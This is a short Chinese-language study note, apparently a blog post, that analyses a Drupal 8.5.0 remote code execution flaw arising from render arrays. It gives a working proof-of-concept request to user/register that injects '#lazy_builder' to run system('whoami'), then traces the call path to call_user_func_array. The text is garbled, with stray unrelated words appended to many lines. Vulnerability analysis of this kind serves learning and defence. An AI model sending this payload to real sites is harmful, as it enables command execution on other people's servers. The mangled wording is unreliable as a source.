今天学习一下Drupal的另外一个漏洞,因为渲染数组不当形成的漏洞php
poc:ajax
url:
http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax post: 'mail[a][#lazy_builder][0]': 'system', 'mail[a][#lazy_builder][1][]': 'whoami', 'form_id': 'user_register_form'
使用poc进行测试,并在断点处观察其调用流程:数组
函数的漏洞入口点在:app
\core\modules\file\src\Element\ManagedFile.php处函数
通过explode函数处理,将get请求中的element_parents参数的值变成一个数组:即好比a/b/c变成了["a","b","c"]post
而后将处理完的$form_parents变量传给NestedArray类的getValue函数处理,其中$form包含了表单的全部信息,咱们跟进一下:学习
其中getValue函数就是将$form中的值逐层取出,测试
若是$parents为a/b/c,则结果值为123ui
此时$callable变量为system,$args变量为["whoami"],而后再调用call_user_func_array()函数处理url